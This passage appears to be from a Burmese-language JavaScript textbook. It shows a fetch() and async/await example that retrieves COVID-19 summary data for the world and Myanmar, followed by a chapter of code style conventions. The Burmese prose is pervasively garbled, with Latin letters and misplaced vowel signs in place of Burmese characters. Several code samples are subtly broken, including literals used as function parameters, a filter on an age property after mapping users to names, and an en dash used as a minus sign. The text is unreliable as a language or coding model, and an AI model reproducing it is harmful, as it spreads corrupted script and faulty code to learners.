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တစ်ကမ္ဘာလံုးနဲ့  သက်ဆိုင်တဲ့  အချက်အလက်ကြေတွက  Global Property  မှာရှိကြေနပြပီး  နိုင်ငံတစ်ခုချင်းစီ
အလုိက် အချက်အလက်ကြေတွကကြေတာ့ Countries Property မှာ Array တစ်ခုအကြေနနဲ့ ရှိကြေနတာကို ကြေတွ့
ရနိုင်ပါတယ်။

JavaScript  မှာ  ဒီလုိ  Data  ကြေတွကို  ဆက်သွယ်ရယူကြေပးနိုင်တဲ့  fetch() လုိ့ကြေခါ်တဲ့  Standard
လုပ်ကြေဆာင်ချက်တစ်ခုရှိပါတယ်။ fetch() ဟာ Promise ကို အသုံးgပု အလုပ်လုပ်တဲ့ နည်းပညာတစ်ခု
ပါ။  API  yက်ပုိင်းကြေလ့လာတဲ့အခါ အကြေသးစိတ်ကြေလ့လာရပါလိမ့်မယ်။ အခကုြေတာ့ အကြေသးစိတ် မဟုတ်ကြေသး
ကြေပမယ့်  ဒီ  fetch() ကိုအသုံးgပုပြပီး  အချက်အလက်ရယူပံုကို  eကည့်eကပါမယ်။  ဒီကုဒ်ကို  ကြေလ့လာ
eကည့်ပါ။

 JavaScript 

fetch("https://api.covid19api.com/summary")

  .then(res => res.json())

  .then(data => {
    const global = data.Global
    const allCountries = data.Countries
    const myanmar = allCountries.find(c => c.Country === "Myanmar")

    console.log("Global:", global, "Myanmar:", myanmar)
  })

ကြေရးထားတဲ့ကုဒ်ကို ကြေလ့လာeကည့်ပါ။  fetch() Function က URL လိပ်စာအတိုင်း အချက်အလက်ကြေတွ
သွားယူကြေပးပါတယ်။ ဒီလုိယူတဲ့အလုပ်ကို  Promise အကြေနနဲ့ လုပ်သွားတာပါ။ ဒါကြေeကာင့် တgခားအလုပ်ကြေတွ
ရှိရင် သွားယူတဲ့အလုပ် ပြပီးကြေအာင် ကြေစာင့်စရာမလုိပါyူး။ ကြကိုတင်ပြပီး ဆက်လုပ်သွားလုိ ့ရနိုင်ပါတယ်။

ရယူလုိ့ပြပီးတဲ့အခါ အချက်အလက်ကြေတွက then() Method ရဲ့ res Parameter ထဲမှာ HTTP Response
Object  တစ်ခုအကြေနနဲ့  ရှိကြေနမှာပါ။  HTTP Response Object  မှာ ရလဒ်  JSON  ကို  JavaScript Object
ကြေgပာင်းတဲ့  လုပ်ကြေဆာင်ချက်  တစ်ခါထဲပါဝင်ပါတယ်။  ဒါကြေeကာင့်  အ့ဲဒီလုပ်ကြေဆာင်ချက်  အကူအညီနဲ့
res.json() ဆိုပြပီး ရလာတဲ့ JSON အချက်အလက်ကို JavaScript Object ကြေgပာင်းလုိက်ပါတယ်။

https://api.covid19api.com/summary
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JavaScript Object ဟာ ကြေနာက်တစ်ဆင့် ဆက်လုိက်တဲ့ then() Method ရဲ့ data Parameter ထဲကို
ကြေရာက်သွားပါလိမ့်မယ်။ ဒါကြေeကာင့် အ့ဲဒီ data ထဲကကြေန တစ်ကမ္ဘာလံုးဆိုင်ရာ အချက်အလက်ကြေတွအတွက်
Global Property ကိုရယူပြပီး၊ နိုင်ငံအားလံုးရဲ့ အချက်အလက်အတွက် Countries Property ထဲကကြေန ရယူ
ထားပါတယ်။  ပြပီးကြေတာ့မှ  gမန်မာနိုင်ငံရဲ့အချက်အလက်ကို  လုိချင်တဲ့အတွက်  countries Array  မှာ
find() နဲ့  Myanmar ကို ရှာယူထားပါတယ်။ Array Method တစ်ခုgoစ်တဲ့ find() ဟာ filter()
နဲဆ့င်တူပါတယ်။  filter() က  မူလ  Array  ကကြေန  လုိချင်တဲ့  Item  ကြေတွကို  Array  တစ်ခုအကြေနနဲ့
ထုတ်ယူကြေပးပြပီး find() ကကြေတာ့ မူလ Array ကကြေန လုိချင်တဲ့ Item တစ်ခုကို ထုတ်ယူကြေပးပါတယ်။

ရရှိလာတဲ့  တစ်ကမ္ဘာလံုးအချက်အလက်နဲ့  gမန်မာနိုင်ငံရဲ့  အချက်အလက်ကို  ကြေoာ်gပကြေစတဲ့အတွက်  စမ်း
eကည့်လုိက်ရင် အခုလုိရလဒ်ကို ရမှာgoစ်ပါတယ်။

Global:
{
    "NewConfirmed": 100282,
    "TotalConfirmed": 1162857,
    "NewDeaths": 5658,
    "TotalDeaths": 63263,
    "NewRecovered": 15405,
    "TotalRecovered": 230845
}

Myanmar:
{
    "Country": "Myanmar",
    "CountryCode": "MM",
    "Slug": "myanmar",
    "NewConfirmed": 1,
    "TotalConfirmed": 21,
    "NewDeaths": 0,
    "TotalDeaths": 1,
    "NewRecovered": 0,
    "TotalRecovered": 0,
    "Date": "2020-04-05T06:37:00Z"
}

တစ်လက်စထဲ ရလဒ်ကို  ကြေoာ်gပကြေစoုိအ့တွက်  တန်oုိးနှစ်ခုသုံးခုရှိရင်  console.log() နှစ်ကြေeကာင်းသုံး
ကြေeကာင်း မကြေရးကြေတာ့yဲ၊ တစ်ကြေeကာင်းထဲမှာ ကြေoာ်gပကြေစလုိတဲ့ တန်oုိးကြေတွကို Comma ခံပြပီး တန်းစီကြေပးလုိ့ ရ
တယ်ဆိုတာကိုလည်း သတိgပုပါ။ ကြေနာက်ထပ်သတိgပုစရာတစ်ခုအကြေနနဲ့  တန်oုိးကြေတွ ကြေgပာင်းoုိမ့ရှိရင် ရုိးရုိး
Variable   ကြေတွအစား   Constant   ကြေတွကို အသုံးgပုသင့်ပါတယ်  ။ ဒါကြေeကာင့် နမူနာမှာ Constant ကြေတွကိုချည်း
ပဲ သုံးထားတာပါ။
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ဒီကုဒ်ကို အင်တာနက်အဆက်အသွယ်ရှိရင်  Browser Console  မှာ လက်ကြေတွ့ ကြေရးစမ်းလုိရ့ပါတယ်။ စမ်း
eကည့်လုိက်ပါ။ ဒီကုဒ်ကို async, await နဲလ့ည်း ကြေgပာင်းကြေရးလုိ ့ရနိုင်ပါတယ်။ ဒီလုိပါ – 

 JavaScript 

async function covidInfo() {
    const response = await fetch("https://api.covid19api.com/summary")
    const data = await response.json()

    const global = data.Global
    const allCountries = data.Countries
    const myanmar = allCountries.find(c => c.Country === "Myanmar")

    console.log("Global:", global, "Myanmar:", myanmar)
}

covidInfo()

async, await နဲမုိ့လုိ့့ ကုဒ် Block ကြေတွ အဆင့်ဆင့်မရှိကြေတာ့yဲ တစ်ကြေeကာင်းချင်း တစ်ဆင့်ချင်း eကည့်လုိရ့
သွားပါတယ်။ covidInfo() Function ဟာ ရုိးရုိး Function မဟုတ်yဲ Async Function တစ်ခုgoစ်လုိ့
သူ့ကို  သူများကြေတွက  ကြေစာင့်စရာမလုိyဲ  လုိအပ်ရင်  ကိုယ့်အလုပ်ကိုယ်  ဆက်လုပ်သွားလုိ့  ရနိုင်ပါတယ်။
Function ထဲမှာ fetch() နဲ့ Data ကို ယူတဲ့အခါ အချနိ်ယူပြပီး လုပ်ရမယ့်အလုပ်မုိလုိ့့ await နဲ့ ယူထား
ပါတယ်။ ရလာတဲ့  Data ကို  JavaScript Object ကြေgပာင်းတဲ့အလုပ်ဟာလည်း အချနိ်ယူပြပီး လုပ်oုိလုိ့နိုင်လုိ့
await နဲပဲ့ လုပ်ခိုင်းထားပါတယ်။ အားလံုးပြပီးစီးကြေတာ့မှ ကြေစာကြေစာကလုိပဲ Global Data  ထုတ်ယူတာကြေတွ
gမန်မာနိုင်ငံအတွက် Data ထုတ်ယူတာကြေတွကို ဆက်လုပ်ထားတာပါ။ ဒါကြေeကာင့် ဒီကုဒ်ကို စမ်းeကည့်လုိက်
ရင်လည်း ကြေစာကြေစာကုဒ်နဲ့ တူညီတဲ့ရလဒ်ကိုပဲ ရမှာgoစ်ပါတယ်။

တစ်ကယ်ကြေတာ့ ကြေလ့လာစမှာ ဒီလုိအလုပ်ရှုပ်တဲ့ကိစ္စကြေတွ ထည့်မကြေgပာချင်ကြေသးပါyူး။ တစ်goည်းgoည်းချင်း
တစ်ဆင့်ချင်း သွားတာပဲ ကြေကာင်းပါတယ်။ အဆင့်ကြေကျာ်သလုိ goစ်သွားရင် မကြေကာင်းပါyူး။ ဒါကြေပမယ့် တစ်
ချနိ်လံုး  နားလည်ရလွယ်တဲ့  အကြေသးအoဲွ့  နမူနာကြေလးကြေတွချည်း  eကည့်လာကြေတာ့  ပျင်းစရာgoစ်ကြေနမှာစိုးလုိ့
အခုလုိ  လက်ကြေတွ့ကျတဲ့  နမူနာတစ်ခုကို  ထည့်ကြေပးလုိက်တာပါ။  သိပ်နားမလည်yူးဆိုရင်  စိတ်မပူပါနဲ့။
အဆင့်နည်းနည်းကြေကျာ်ပြပီး  ကြေgပာလုိက်မိလုိ့ပါ။  ဆက်ကြေလ့လာသွားပါ။  ကြေရှ့ပုိင်းက  ကြေလ့လာခဲ့တာကြေတွ
ကြေeကညက်ကြေအာင် ထပ်ခါထပ်ခါgပန်eကည့် gပန်စမ်းထားပါ။ အချနိ်တန်ရင် ရသွားပါလိမ့်မယ်။
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အခန်း (၂၀) – Code Style Guide

ကုဒ်ကြေတွကြေရးတဲ့အခါ  အoွင့်အပိတ်၊  အထားအသုိကြေတွဟာ  yယ်လုိပဲထားထား  ကြေရးထုံးအရ  မှန်ကြေနသ၍
အလုပ်လုပ်ကြေနမှာပါပဲ။ ဒါကြေပမယ့် အလုပ်လုပ်ကြေနယုံနဲ့  မရပါyူး။  ကြေရးသားပုံ  ရှင်းလင်းသပ်ရပ်မှသာ oတ်ရှု
နားလည်ရ  လွယ်ကူတဲ့ကုဒ်  goစ်မှာပါ။  ဒီအတွက်  Code  Style  Guide  ကြေတွ  ရှိeကပါတယ်။  Coding
Standard  လုိလ့ည်း ကြေခါ်eကပါတယ်။  Language  တစ်ခုနဲတ့စ်ခု မတူeကသလုိ၊ အoဲွ့အစည်းတစ်ခုနဲတ့စ်ခု
ရဲ့  Recommendation ကြေတွလည်း မတူeကပါyူး။ JavaScript အတွက်ဆိုရင် Google ရဲ့  Style Guide ရှိ
သလုိ၊့  Mozilla, Wordpress, Drupal, AirBnb  စသgoင့် ထိပ်တန်းအoဲွ့အစည်း အသီးသီးမှာ သူ့သတ်မှတ်
ချက်နဲသူ့ရှိပါတယ်။ ပြပီးကြေတာ့ ပရုိင်္ဂရမ်မာ တစ်ဦးချင်းစီလည်း အကြကိုက်ကြေတွ ကွဲeကပါကြေသးတယ်။ ဒါကြေeကာင့်
ဒီအကြေeကာင်းအရာဟာလည်း သူ့ကြေနရာနဲသူ့ ကျယ်gပန့်တဲ့ အကြေeကာင်းအရာတစ်ခုပါ။

တစ်ကယ်ကြေတာ့  ပရုိင်္ဂရမ်တစ်ဦးအကြေနနဲ့  JavaScript  တစ်မျ ို းထဲ  ကြေရးယုံနဲ့  မပြပီးကြေသးပါyူး။  လက်ကြေတွ့
လုပ်ငန်းခွင့်မှာ တgခားကုဒ်အမျ ို းအစားကြေတွကိုလည်း ပူးတွဲပြပီး ကြေရးeကရဦးမှာပါ။ HTML, CSS, JavaScript,
jQuery, React, PHP, Laravel စသgoင့် Language, Library, Framework အမျ ို းမျ ို းနဲ့ အလုပ်လုပ်eကရမှာ
ပါ။ ဒါကြေeကာင့် JavaScript အတွက် မဟုတ်yဲ ကုဒ်အမျ ို းအစား အမျ ို းမျ ို းနဲ့ သင့်ကြေတာ်မယ့် ကြေယyုယျ ကြေရး
ဟန်ကြေလးကြေတွကို စုစည်း ကြေoာ်gပချင်ပါတယ်။
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Variables
Variable,  Function,  Class  စသgoင့်  အမည်ကြေတွကြေပးoုိလုိ့တဲ့အပါ  ကြေပးပုံကြေပးနည်း  (၄)  နည်းရှိပါတယ်။
အကြေခါ်အကြေဝါ်ကြေလးကြေတွ မှတ်ထားပါ။

• All Cap: HELLO_WORLD
• Snake Case: hello_world
• Camel Case: helloWorld
• Capital Case: HelloWorld

All  Cap  ကြေရးဟန်မှာ  စာလံုးအကြကီးကြေတွချည်းပဲ  သံုးပါတယ်။  Word  တစ်ခုနဲတ့စ်ခု  ပုိင်းgခားoုိအ့တွက်
Underscore  ကို  အသုံးgပုပါတယ်။  Snake Case  ကြေရးဟန်မှာ စာလံုးအကြေသးကြေတွချည်းပဲ သံုးပါတယ်။ သူ
လည်းပဲ Word တစ်ခုနဲတ့စ်ခု ပုိင်းgခားoုိအ့တွက် Underscore ကို အသံုးgပုပါတယ်။ Camel Case ကကြေတာ့
စာလုံးအကြကီးအကြေသး  ကြေရာကြေရးတဲ့  ကြေရးဟန်ပါ။  စာလံုးကြေသးနဲစ့ပြပီး  ကြေနာက်က  ဆက်လုိက်တဲ့  Word  ကြေတွ
အားလုံးရဲ့ ကြေရှ့ဆံုးတစ်လုံးကို စာလံုးကြကီးနဲ့ ကြေရးပါတယ်။ Capital Case ကကြေတာ့ Camel Case နဲဆ့င်တူပါ
တယ်။ ထူးgခားချက်အကြေနနဲ့ ကြေရှ့ဆံုးစာလုံးပါ ကြကီးသွားတာပါ။

Constant   ကြေတွကြေeကညာoုိအ့တွက်   All Cap   ကို အသံုးgပုသင့်ပါတယ်။ ရုိးရုိး    Variable   ကြေတွအတွက်   Snake  
Case   ကိုသုံးသင့်ပြပီး၊   Object   Property   ကြေတွအတွက်   camelCase   ကိုသုံးသင့်ပါတယ်  ။

 Pseudocode 

const PI = 3.14
const MIN = 0
const MAX = 100

let color_name = "red"
let color_code = "#112233"

Assignment Operator အပါဝင် Operator   အားလုံး  ရဲ့ ကြေရှ့နဲ့ကြေနာက်မှာ   Space   တစ်ခုစီ gခားပြပီးကြေတာ့ ကြေရး  
သင့်ပါတယ်။ x, y, a, b, n, i စသည်goင့် အတိကုြေကာက်အမည်ကြေတွဟာ နမူနာမုိလုိ့သ့ာ ကြေပးခဲ့တာ
ပါ။  တစ်ကယ့်လက်ကြေတွ့မှာ  ရှည်ချင်ရှည်ပါကြေစ၊  အဓိပ္ပါယ်ကြေပါ်လွင်တဲ့    Variable    အမည်ကိုသာ ကြေပးသင့်ပါ  
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တယ်။ ကုဒ်ကြေတွများလာကြေတာ့မှ  a ဆိုတာ yာကိုကြေgပာမှန်း  ကိုယ့်yာသာမသိကြေတာ့တာ၊  i ဆိုတာ yယ်
နားက i ကိုကြေgပာတာလည်း ရှာရခက်ကုန်တာမျ ို းကြေတွ goစ်တတ်ပါတယ်။

Arrays & Objects
Array ကြေတွကြေeကညာသတ်မှတ်တဲ့အခါ တန်oုိးနည်းရင် တစ်ကြေeကာင်းထဲ၊ တစ်ဆက်ထဲ ကြေရးလုိရ့ပါတယ်။ အ့ဲဒီ
လုိကြေရးတဲ့အခါ Comma ရဲ့ကြေနာက်မှာ Space တစ်ခုထည့်သင့်ပါတယ်။

 Pseudocode 

let users = ["Alice", "Bob", "Tom", "Mary"]

တန်oုိးကြေတွများရင်ကြေတာ့ လုိင်းခွဲပြပီးကြေရးသင့်ပါတယ်။ အ့ဲဒီလုိခွဲကြေရးတဲ့အခါ အoွင့်ကို Assignment Operator
နဲ့ တစ်လုိင်းထဲမှာထားပြပီး အပိတ်ကို ကြေအာက်ဆံုးမှာ သီးgခားတစ်လုိင်းနဲ့ ထားသင့်ပါတယ်။ အထဲက တန်oုိး
ကြေတွကို  သက်ဆိုင်ရာ  Array  အတွင်းက တန်oုိးမှန်း  gမင်သာကြေအာင်  Indent  ကြေလး တွန်းပြပီးတစ်ညီထဲ ကြေရး
သင့်ပါတယ်။ တစ်ကြေeကာင်းမှာ Item တစ်ခုသာ ပါဝင်သင့်ပါတယ်။

 Pseudocode 

let users = [
    "Alice",
    "Bob",
    "Tom",
    "Mary",
]

ကြေနာက်ဆံုးက Comma အပုိ  Trailing Comma ကို ထည့်လုိရ့ရင် ထည့်သင့်ပါတယ်။ တစ်ချ ို ့  Language
ကြေတွက ထည့်ခွင့်မgပုလုိ့ နည်းနည်းကြေတာ့ သတိထားပါ။ Indent အတွက် အရွယ်အစားအကြေနနဲ့ တစ်ချ ို ့က 2
Spaces သုံးeကပါတယ်။ တစ်ချ ို ့က 4 Spaces အသုံးeကပါတယ်။ 2 Spaces က ကြေနရာယူသက်သာလုိ့ လူ
ကြကိုက်များကြေပမယ့် စာကြေရးသူကကြေတာ့ 4 Spaces ကိုသာ သုံးကြေလ့ရှိပါတယ်။ ပုိကျဲလုိ့ oတ်ရတာ မျက်စိထဲမှာ
ပုိရှင်းတဲ့အတွက်ကြေeကာင့်ပါ။ 2 Spaces သုံးသည်goစ်ကြေစ၊ 4 Spaces သုံးသည်goစ်ကြေစ၊ ကီးyုတ်ကကြေန Space
Bar ကို တစ်ချက်ချင်း နှိပ်ပြပီးကြေတာ့ မကြေရးသင့်ပါyူး။ Tab Key ကိုပဲသုံးသင့်ပါတယ်။ Code Editor ကြေတွက
Tab Key ကိုနှိပ်လုိက်ရင် သတ်မှတ်ထားတဲ့  Space အကြေရအတွက်အတိုင်း အလုိအကြေလျှာက် ထည့်ကြေပးသွား
eကပါတယ်။ Space ကို လုံးဝ မသုံးyဲ Indent အတွက် Tab ကိုပဲ သုံးလုိလ့ည်းရပါတယ်။
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Object ကြေတွကိကုြေတာ့ တစ်ချ ို ့အရမ်းတိုတဲ့ Object ကြေတွကလဲွရင် အများအားgoင့် လုိင်းခွဲပြပီးကြေတာ့ ကြေရးသင့်ပါ
တယ်။ Property   ကြေတွ   Method   ကြေတွအတွက်   Camel Case   ကို သုံးသင့်ပါတယ်  ။

 Pseudocode 

let user = {
    firstName: "James",
    sayHello () {
        // Statements
    },
}

Functions
Function ကြေတွကြေeကညာတဲ့အခါ တွန့်ကွင်းအoွင့်ကို  function Keyword နဲ့ တစ်လုိင်းထဲထားလုိ့ ရသလုိ
ကြေနာက်တစ်လုိင်းဆင်းပြပီး ထားလုိလ့ည်း ရပါတယ်။  JavaScript  ကုဒ်ကြေတွမှာကြေတာ့ တစ်လုိင်းထဲပဲ ထားeက
ကြေလ့ရှိပါတယ်။ တgခား Language ကြေတွမှာကြေတာ့ ရုိးရုိး Function ကြေတွအတွက် တစ်လုိင်းထဲ ထားပြပီး Class
Method ကြေတွအတွက် ကြေနာက်တစ်လုိင်း ခွဲထားeကကြေလ့ ရှိပါတယ်။

 Pseudocode 

function add(a, b) {
    // Statements
}

function sum(a, b)
{
    // Statements
}

တစ်လုိင်းထဲထားတဲ့အခါ  ဝုိက်ကွင်းအပိတ်နဲ့  တွန့်ကွင်းအoွင့်eကား  Space  တစ်ခု  ထည့်ကြေပးသင့်ပါတယ်။
ဝုိက်ကွင်းအoွင့်အပိတ်ထဲက  Parameter List  မှာလည်း  Comma  ကြေနာက်မှာ  Space  တစ်ခု  gခားကြေပးရပါ
မယ်။

Function  အမည်ကြေတွဟာ  Camel Case  goစ်သင့်ပါတယ်။ တစ်ချ ို ့  Language  ကြေတွမှာ  Snake Case  ကို
Function  အမည်အတွက်  သံုးeကကြေပမယ့်  JavaScript  မှာကြေတာ့  Camel  Case  ကို  ပုိအသံုးများပါတယ်။
ရုိးရုိး  Constant  တန်oုိးကြေတွအတွက်  စာလံုးအကြကီးကြေတွနဲ့  ကြေပးသင့်တယ်လုိ့  ဆိုခဲ့ကြေပမယ့်  Function
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Expression ကြေတွကို  Constant  နဲ့ကြေရးတဲ့အခါမှာကြေတာ့ Camel Case  ကိုပဲ သုံးသင့်ပါတယ်။  Constant  လုိ
ကြေeကညာကြေနကြေပမယ့် သူ့ကို Function လုိ သုံးမှာမုိ့လုိပ့ါ။

 Pseudocode 

const add = function (a, b) {
    // Statements
}

Function Expression ကြေတကွြေရးတဲ့အခါ function Keyword ကြေနာက်မှာ  Space တစ်ခု ပါသင့်ပါတယ်။
Arrow Function ကြေတွကြေရးတဲ့အခါ Arrow သကြေက[တရဲ့ ကြေရှ့ကြေနာက်မှာ Space တစ်ခုစီ ပါသင့်ပါတယ်။

 Pseudocode 

const add = (a, b) => a + b

ကြေပါင်းနှုတ်ကြေgမှာက်စား၊ Comparison စသည်goင့် Operator အားလုံးရဲ့ ကြေရှ့ ကြေနာက်မှာ Space တစ်ခုစီ ပါဝင်
သင့်တယ်ဆိုတာကို  ကြေနာက်တစ်ကြကိမ်  ထပ်ကြေgပာချင်ပါတယ်။  Operator  ကြေတွနဲ့  တန်oုိးကြေတွကို  ကပ်ကြေရးရင်
ကြေရာကြေထွး ပူးကပ်ပြပီး oတ်ရခကတ်တ်ပါတယ်။

Code Blocks
If  Statement  ကြေတကွြေရးတဲ့အခါ  တွန့်ကွင်း  အoွင့်ကို  if နဲတ့စ်လုိင်းထဲ  ထားသင့်ပါတယ်။  else
Statement ပါမယ်ဆိုရင် if အတွက် တွန့်ကွင်းအပိတ်နဲ့  else အတွက် တွန့်ကွင်းအoွင့်တိုက့ို တစ်လုိင်း
ထဲ ထားပြပီး ကြေရးသင့်ပါတယ်။

 Pseudocode 

if(true) {
    // Statements
} else {
    // Statements
}
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Switch Statement ကြေတကွြေရးတဲ့အခါ case တစ်ခုစီနဲ့သက်ဆိုင်တဲ့  Statement ကြေတွကို တစ်ဆက်ထဲ ကြေရး
လုိလ့ည်း ရကြေပမယ့် ကြေနာက်တစ်လုိင်းဆင်းပြပီး ကြေရးသင့်ပါတယ်။

 Pseudocode 

switch(expression) {
    case 1:
        // Statements
        break
    case 2:
        // Statements
        break
    default:
        // Statements
}

ကျန်တဲ့  while, for, for-of စတဲ့  Loop ကြေတွရဲ့ကြေရးဟန်ကို သီးgခားထပ်ထည့် မကြေgပာကြေတာ့ပါyူး။
ဒီသကြေyာကြေပါ်မှာပဲ အကြေgခခံပြပီး ကြေရးသားရမှာ goစ်ပါတယ်။ Indent ကြေတွကိကုြေတာ့ မှန်ကြေအာင်ကြေပးoုိ့ လုိပါမယ်။
Code Block ကြေတွ အထပ်ထပ်အဆင့်ဆင့် goစ်လာတဲ့အခါ yယ်ကုဒ်က yယ် Block အတွက်လည်းဆိုတာ
Indent မှန်မှပဲ သိသာgမင်သာမှာပါ။ Indent မမှန်ရင်ကြေတာ့ ကိုယ့်ကုဒ်ကို ကိုယ်တိုင်gပန်oတ်လုိ့ကြေတာင် နား
မလည်yူးဆိုတာမျ ို းကြေတွ goစ်လာနိုင်ပါတယ်။

 Pseudocode 

function doSomething() {
    while(condition) {
        if(condition) {
            // Statements
        }

        // Statements
    }

    // Statements
}

If Statement  ကြေတွမှာ  Statement  တစ်ကြေeကာင်းထဲရှိလုိ့  တွန့်ကွင်းမပါyဲ ကြေရးချင်ရင် ကြေနာက်တစ်လုိင်း မ
ဆင်းသင့်ပါyူး၊ တစ်ကြေeကာင်းထဲပဲ goစ်သင့်ပါတယ်။ ကြေနာက်တစ်လုိင်း ဆင်းoုိ့လုိရင် တွန့်ကွင်းအoွင့်အပိတ်
ထည့်လုိက်တာ ပုိကြေကာင်းပါတယ်။
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 Pseudocode 

if(true) doSomething()
else doElse()

Method  တစ်ခုနဲတ့စ်ခု  Function  တစ်ခုနဲတ့စ်ခု  Block  တစ်ခုနဲတ့စ်ခုeကားထဲမှာ လုိင်းအလွတ်တစ်လုိင်း
gခားပြပီးကြေတာ့ ကြေရးသင့်ပါတယ်။ Variable ကြေeကညာချက်ကြေတွ၊ Return Statement ကြေတွနဲ့ တgခားကုဒ်ကြေတွကို
လည်း လုိင်းအလွတ် တစ်လုိင်းgခားပြပီး ကြေရးသင့်ပါတယ်။

 Pseudocode 

function sub(a, b) {
    let result = 0

    if(a > b) result = a – b
    else result = b - a

    return result
}

Comments
//  Operator  ကိုသုံးပြပီးကြေရးတဲ့  Comment  ကြေတွမှာ  Operator  နဲ့  စာeကားထဲမှာ  Space  တစ်ခု  ပါသင့်ပါ
တယ်။ /* */ Operator ကိုသုံးပြပီး ကြေရးတဲ့အခါ တစ်ကြေeကာင်းထဲဆိုရင် အoွင့်အပိတ်ရဲ့ ကြေရှ့ကြေနာက်မှာ Space
တစ်ခုစီပါသင့်ပါတယ်။ တစ်ကြေeကာင်းထက် ပုိမယ်ဆိုရင် အoွင့်ကို အကြေပါ်ဆံုးမှာ သပ်သပ်ကြေရးပြပီး အပိတ်ကို
ကြေအာက်ဆံုးမှာ သပ်သပ်ကြေရးသင့်ပါတယ်။

 Pseudocode 

// Line Comment

/* Single Line Comment */

/*
Some comments with
more than single lines 
*/
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Classes
Class Name    ကြေတဟွာ    Capital  Case    goစ်သင့်ပါတယ်  ။  Property  ကြေတွ  Method  ကြေတွကကြေတာ့  Camel
Case ကို အသုံးgပုသင့်ပါတယ်။ Class အတွက် တွန့်ကွင်းအoွင့်ကို တgခား Language ကြေတွမှာ ကြေအာက်တစ်
လုိင်း ဆင်းကြေရးeကကြေလ့ရှိပြပီး JavaScript မှာ class Keyword နဲ့ တစ်လုိင်းထဲပဲ ထားကြေရးeကကြေလ့ ရှိပါတယ်။

 Pseudocode 

class Animal {
    constructor(name) {
        this.name = name
    }

    makeSound () {
        // Statements
    }
}

တစ်ချ ို ့ Language ကြေတွမှာ Private Property ကြေတွ Private Method ကြေတွကို ကြေရှ့ကကြေန Underscore နဲစ့
သင့်တယ်ဆိုတဲ့  သတ်မှတ်ချက်ရှိပါတယ်။  အမည်ကိုeကည့်လုိက်ယုံနဲ့  ကွဲgပားကြေစချင်တဲ့အတွက်  goစ်ပါ
တယ်။  JavaScript  မှာကြေတာ့  Private  ကြေတွကို  ကြေရှ့ကကြေန  #  သကြေက[တ ခံကြေရးရလုိ့  Underscore  မထည့်
လည်းပဲ ကွဲgပားပြပီးgoစ်ပါတယ်။

Callback Function & Method Chaining
Function  တစ်ခုကို  ကြေခါ်ယူစဉ်မှာ  Callback  Function  ကြေတွကြေပးရတဲ့အခါ  အများအားgoင့်  Callback
Function  ကြေတွက  ကြေနာက်ဆံုးက  ကြေနကြေလ့ရှိပါတယ်။  အ့ဲဒီအခါမှာ  မူလ  Function  ကိုကြေခါ်တဲ့  ဝုိက်ကွင်း
အပိတ်နဲ့ Callback Function ရဲ့ တွန့်ကွင်းအပိတ်ကို တစ်လုိင်းထဲ ကြေရးကြေပးသင့်ပါတယ်။

 Pseudocode 

add(1, 2, function(3, 4) {
    // Callback Function Statements
})
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တစ်ချ ို ့လည်း Callback Function က ကြေရှ့ကကြေနတာမျ ို း goစ်နိုင်ပါတယ်။ အ့ဲဒီအခါမှာ Callback Function
ရဲ့အပိတ်ကြေနာက်မှာ Comma ခံပြပီး ကျန် Argument ကြေတွကို တစ်ဆက်ထဲ ကြေပးသင့်ပါတယ်။

 Pseudocode 

setTimeout(function() {
    // Callback Function Statements
}, 2000)

တစ်ခါတစ်ရံ  Callback  Function  နှစ်ခုသုံးခုလည်း  goစ်တတ်ပါတယ်။  အ့ဲဒီအခါမှာ  ပထမ  Callback
Function ရဲ့အပိတ်တွန့်ကွင်းကြေနာက်မှာ Comma နဲအ့တူ ဒုတိယ Callback Function လုိက်သင့်ပါတယ်။

 Pseudocode 

add(function(1, 2) {
    // Callback Function Statements
}, function(3, 4) {
    // Callback Function Statements
})

တစ်ချ ို ့  Object Methods  ကြေတွကို  တဲွဆက်ပြပီး အတွဲလုိက် ကြေခါ်ယူအသုံးgပုလုိတဲ့အခါ တိုရင်တစ်ဆက်ထဲ
ကြေရးလုိရ့ပါတယ်။ လုိအပ်ရင်ကြေတာ့ Method တစ်ခုကိတုစ်လုိင်းခွဲပြပီး သုံးသင့်ပါတယ်။

 Pseudocode 

users.map(u => u.name).filter(u => u.age > 18)

users
    .map(u => u.name)
    .filter(u => u.age > 18)

Semicolon
ဒီကိစ္စကကြေတာ့ ရှင်းမလုိလုိနဲ့ ရှုပ်ကြေနတဲ့ကိစ္စကြေလးပါ။  Language အကြေတာ်များများမှာ Statement တစ်ခုဆံုး
တိုင်း  Semicolon  နဲ့  ပိတ်ကြေပးရပါတယ်။  JavaScript  မှာလည်း အ့ဲဒီလုိ ပိတ်ကြေပးoုိ့  လုိအပ်ပါတယ်။ ဒါကြေပ
မယ့် Automatic Semicolon Insertion (ASI)  လုိ့ကြေခါ်တဲ့ နည်းစနစ်တစ်မျ ို း ရှိကြေနလုိ့ ကိုယ့်yာသာ ထည့်
ကြေပးစရာမလုိပါyူး။ Language က လုိတဲ့ကြေနရာမှာ သူ့yာသာထည့်ပြပီး အလုပ်လုပ်သွားပါတယ်။ ဒါကြေeကာင့်
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ကြေရးတဲ့သူက Semicolon ကြေတွကို ထည့်ကြေရးလည်းရတယ်။ မထည့်yဲကြေရးလည်း ရကြေနပါတယ်။

လက်ကြေတွ့ကုဒ်ကြေတွ ကြေရးတဲ့အခါ  JavaScript  တစ်ခုထဲနဲ့  မပြပီးပါyူး၊  တgခား  Language  ကြေတွ  နည်းပညာ
ကြေတွနဲ့ လုပ်ငန်းလုိအပ်ချက်ကြေပါ်မူတည်ပြပီး ပူးတွဲအသံုးgပုရတာကြေတွ ရှိပါလိမ့်မယ်။ အ့ဲဒီမှာ C/C++ တို့  Java
တိုလုိ့ Language မျ ို းကြေတွမှာ Statement ဆံုးတိုင်း မgoစ်မကြေန Semicolon ထည့်ကြေရးကြေပးရပါတယ်။ Ruby
တို့ Python တိုလုိ့ Language မျ ို းကြေတွမှာကျကြေတာ့ ထည့်oုိမ့လုိကြေတာ့gပန်ပါyူး။ JavaScript နဲ့ တွဲသံုးgoစ်oုိ့
များတဲ့  CSS တို့  PHP တိုမှ့ာ ထည့်oုိ့ လုိသွားgပန်ပါတယ်။ Semicolon ကြေတွထည့်လုိက် မထည့်လုိက်ဆိုရင်
အကြေလ့အကျင့်ပျက်ပြပီး မကျန်သင့်တဲ့ကြေနရာမှာ ကျန်ခဲ့လုိ့ မလုိအပ်yဲ Error ကြေတတွက်တယ်ဆိုမျ ို း goစ်နိုင်ပါ
တယ်။ ဒါကြေeကာင့် တစ်ချ ို ့က Statement ဆံုးတိုင်း Semicolon နဲ့ အဆံုးသတ်ကြေပးတဲ့ အကြေလ့အကျင့် ရှိထား
သင့်တယ်လုိ့ ဆိုeကပါတယ်။ 

